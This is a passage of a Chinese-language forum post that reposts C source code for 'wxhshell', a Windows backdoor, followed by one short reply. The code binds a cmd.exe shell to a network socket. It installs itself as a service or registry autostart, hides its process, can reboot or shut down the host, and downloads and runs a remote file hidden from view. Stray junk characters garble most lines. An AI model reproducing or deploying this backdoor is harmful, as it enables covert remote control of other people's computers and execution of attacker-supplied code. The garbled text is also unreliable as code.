  if(DownloadFile(cmd,wsh)) >>cd3)b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bg h$P  
  else 0q>lW &J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;5k|gW  
  } LwPM7S~ *  
  else { pCUOeQL(  
=.oWguzu  
    switch(cmd[0]) { ws?s   
  I0vn d7  
  // 帮助 D,j5k3< #  
  case '?': { @>IjfrjV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9u@h`  
    break; FBAC9}V"  
  } } XU:DE  
  // 安装 kV3j}C"  
  case 'i': { uW~ ,H}E  
    if(Install()) x2sOEkcQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &U*J{OP|  
    else !O6Is'%B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ls\E%d  
    break; 6a7iLQA  
    } {l&2Kd*  
  // 卸载 yn[ZN-H~  
  case 'r': { b DS1'Ce  
    if(Uninstall()) ^(JHRH~=h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .GN$H>')  
    else SWsv,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mgs|*u-5  
    break; V8$bPVps  
    } u2B W]T]  
  // 显示 wxhshell 所在路径 t/WnDR/fM  
  case 'p': { zlztF$Bo  
    char svExeFile[MAX_PATH]; >Mz|e(6  
    strcpy(svExeFile,"\n\r"); J<#`IaV  
      strcat(svExeFile,ExeFile); SzlfA%4+GR  
        send(wsh,svExeFile,strlen(svExeFile),0); 64']F1p0  
    break; ONq/JW$?LV  
    } o;>3z*9?3  
  // 重启 0,$-)SkT  
  case 'b': { rY?F6'}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >MWpYp  
    if(Boot(REBOOT)) !K3cf]2UD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (E}cA&{  
    else { *.]E+MYi*  
    closesocket(wsh); >X,Ag  
    ExitThread(0); fEG3b#t N  
    } Gi2ad+QH-  
    break; H\+c'$  
    } 5%+bWI{w  
  // 关机 pb6^sA%l  
  case 'd': { *tM7>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {&E Z>r-  
    if(Boot(SHUTDOWN)) ^=Ct Aa2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $:E}Nj]{&  
    else { j$8|ym^OX  
    closesocket(wsh); $`5lvy^  
    ExitThread(0); C$td{tM  
    } #G  +  
    break; -Bo~"q  
    } TflS@Z7C  
  // 获取shell 9g &Ch9-/  
  case 's': { BZ;}ROmqk  
    CmdShell(wsh); Ym.l@(  
    closesocket(wsh); Rs F3#H  
    ExitThread(0); G(OT"+O,  
    break; NC.P 2^%  
  } QYTTP6 Gz+  
  // 退出 yEUNkZ5^  
  case 'x': { PWk ?8dL-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]6B mCh  
    CloseIt(wsh); *Qg5Z   
    break; &:;;u\  
    } f;Bfh3  
  // 离开 .eabtGO,  
  case 'q': { R=amKLD?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4-+ozC{  
    closesocket(wsh); ,M@m4bx  
    WSACleanup(); nKh%E-c  
    exit(1); [%84L@:h  
    break; %g0z) J  
        } #x5N{8  
  } w38c  
  } |J<pLz  
~1=.?Ho  
  // 提示信息 ?z@v3(b[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %O&m#)|  
} sUbz)BS#.  
  } :PD`PgQ  
5hJYy`h~  
  return; @4_rxu&  
} yC'hwoQ`  
V%BJNJ  
// shell模块句柄 5fegWCJ  
int CmdShell(SOCKET sock) DN"S,  
{ (K*/Vp  
STARTUPINFO si; &e ?"5  
ZeroMemory(&si,sizeof(si)); UbY~xs7_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f3zfRhkIk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :m* !?QGdL  
PROCESS_INFORMATION ProcessInfo; G9i&#)nWr  
char cmdline[]="cmd"; $m:2&lU3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &Mhv XHI  
  return 0; [ZKtbPHb  
} GX7 eRqz>  
2q- :p8  
// 自身启动模式 bB;~,W&E1  
int StartFromService(void) (ET ;LH3  
{ @.Z[M  
typedef struct *(d6Z#  
{ O&#S4]Y   
  DWORD ExitStatus; `;5VH]V  
  DWORD PebBaseAddress; "%oH@ =  
  DWORD AffinityMask; _K0izKTA.  
  DWORD BasePriority; Ha)3i{OM  
  ULONG UniqueProcessId; 3?.1~"-J  
  ULONG InheritedFromUniqueProcessId; I&pr_~.  
}   PROCESS_BASIC_INFORMATION; !F+|Y"c  
ZDOF  
PROCNTQSIP NtQueryInformationProcess; 3$?9uMl#  
;|>q zx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0i8[=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !,Xyl} #  
5)d,G9  
  HANDLE             hProcess; sf |oNOz  
  PROCESS_BASIC_INFORMATION pbi; YN,y0t/cQ  
vzY'+9q1.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]aC ':55(  
  if(NULL == hInst ) return 0; ,DQGv_  
L$Hx?^3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z(g%ue\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ? G$Om  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SY%A"bC  
cBz!U 8(  
  if (!NtQueryInformationProcess) return 0; ZnvEv;P  
KTG:I@|C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eJU;*] xfH  
  if(!hProcess) return 0; .'t (-eT,  
2BoFyL*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bz, Da  
O.@g/05C  
  CloseHandle(hProcess); ,|T*|2Gm  
M82.khm~jM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8hTR*e! +  
if(hProcess==NULL) return 0; T@;! yz}Pf  
Gw ~{V  
HMODULE hMod; dtB[m^$  
char procName[255]; ==%`e/~Y  
unsigned long cbNeeded; On#;)35M  
b#D9eJhS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2[jL^ XMM  
Jj2g5={  
  CloseHandle(hProcess); *j|/2+pq  
iYk':iv}S  
if(strstr(procName,"services")) return 1; // 以服务启动 x96qd%l/  
f{)+-8  
  return 0; // 注册表启动 $Y8>_6%+T  
} /xl4ohL$a  
.)LZ`Ge3F  
// 主模块 9{_8cpm4  
int StartWxhshell(LPSTR lpCmdLine) b;S6'7Jf9  
{ N]B)Fb  
  SOCKET wsl; fNmE,~  
BOOL val=TRUE; @ SU8\:(U  
  int port=0; X AQGG>  
  struct sockaddr_in door; PT3>E5`Nu  
=WIE>*3[  
  if(wscfg.ws_autoins) Install(); WMW1B }Z3  
2]L=s3  
port=atoi(lpCmdLine); (C,e6r Y  
U(U@!G)  
if(port<=0) port=wscfg.ws_port; &Fw[YGJayz  
Z;ZuS[ZA  
  WSADATA data; T>d\%*Q+B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C">`' G2  
hHcJN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P+[QI U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TqIAWbb&  
  door.sin_family = AF_INET; "gFxfWIA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iJFr4o/R  
  door.sin_port = htons(port); hT?6sWa  
a "R7JjH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %1Yz'AiW[  
closesocket(wsl); ,mBZ`X@N  
return 1; =v.{JV#  
} he"L*p*H  
O/mR9[}  
  if(listen(wsl,2) == INVALID_SOCKET) { r]v&t  
closesocket(wsl); \Ke8W,)ew  
return 1; yH*hL0mO  
} ODm&&W#*  
  Wxhshell(wsl); %B@ !  
  WSACleanup(); >^dyQyK  
Z+ixRch@-s  
return 0; v2d<o[[C  
?-pi,O~(p  
} BWWq4mdb{  
hw;0t,1  
// 以NT服务方式启动 _}D%iJg#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KE<kj$  
{ .Y;b)]@f  
DWORD   status = 0; yH^f\u0  
  DWORD   specificError = 0xfffffff; n|WfaJQZ  
F9-[%l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tv0Ha A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T=WNBqKo]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UH[<&v  
  serviceStatus.dwWin32ExitCode     = 0; uKv&7p@|_)  
  serviceStatus.dwServiceSpecificExitCode = 0; hi!`9k  
  serviceStatus.dwCheckPoint       = 0; %dc3z"u  
  serviceStatus.dwWaitHint       = 0; .;9jdGBf  
2UiR~P]%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~/2g)IS  
  if (hServiceStatusHandle==0) return; {;*}WPYb  
]bm=LA  
status = GetLastError(); "f4<B-9<$  
  if (status!=NO_ERROR) 5y]io Jc9-  
{ >-M ]:=L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #b'N}2'p#V  
    serviceStatus.dwCheckPoint       = 0; %,/lqcFo  
    serviceStatus.dwWaitHint       = 0; N>0LQ MI  
    serviceStatus.dwWin32ExitCode     = status; jo}1u_OJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; -ey)J +?t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); TjxA#D)   
    return; L1sqU-gt  
  } $/+so;KD  
F|Q H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3V?817&6z  
  serviceStatus.dwCheckPoint       = 0; ) V36t{  
  serviceStatus.dwWaitHint       = 0; # Q}_e7t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )n( Q  
} UP2}q?4  
F?9SiX[\  
// 处理NT服务事件,比如:启动、停止 T?n -x?e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #n3ykzoqIX  
{ k^%2_H  
switch(fdwControl) b HE7yv [  
{ nU2V]-qY  
case SERVICE_CONTROL_STOP: S/.^7R7{f  
  serviceStatus.dwWin32ExitCode = 0; oaK.kOo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JE hm1T  
  serviceStatus.dwCheckPoint   = 0; ,X68xk.'  
  serviceStatus.dwWaitHint     = 0; eCWPhB 6l  
  { dQD$K|aUp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sHdp  
  } )1lu=gc  
  return; z C=a3  
case SERVICE_CONTROL_PAUSE: ^ q?1U?4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^/toz).Q  
  break; 8YX)0i'  
case SERVICE_CONTROL_CONTINUE: 3-C\2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ja|{1&J.  
  break; jZd}O C<  
case SERVICE_CONTROL_INTERROGATE: n *<v]1  
  break; .po>qb6  
}; o_f-GO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e\F} q)_  
} G>w+#{(  
F}36IM9/:  
// 标准应用程序主函数 o5!f#Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h i|!  
{ c7K!cfO:{N  
sZg6@s=  
// 获取操作系统版本 <uci9-eC  
OsIsNt=GetOsVer(); &w85[zs  
GetModuleFileName(NULL,ExeFile,MAX_PATH); D//=m=  
!:3.D,  
  // 从命令行安装 &eQJfc\a  
  if(strpbrk(lpCmdLine,"iI")) Install(); O("Uq../3  
.Q* 'r& n  
  // 下载执行文件 gmP9j)V6  
if(wscfg.ws_downexe) { 19t{|w<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ab.tH$:<  
  WinExec(wscfg.ws_filenam,SW_HIDE); <41ZZ0<EwY  
} NmpnJu|8  
[=uIb._Wv  
if(!OsIsNt) { eKG2*CV  
// 如果时win9x,隐藏进程并且设置为注册表启动 /Vww?9U;  
HideProc(); y 9L14  
StartWxhshell(lpCmdLine); `s"d]/85VW  
} V5p0h~PK  
else </[: 9Cl  
  if(StartFromService()) 8 lT{1ro  
  // 以服务方式启动 poT&-Ic[  
  StartServiceCtrlDispatcher(DispatchTable); (=u'sn:s  
else 94/BG0  
  // 普通方式启动 )8,|-o=  
  StartWxhshell(lpCmdLine); 7K;!iX<d  
@?k J).  
return 0; #_JYh?  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八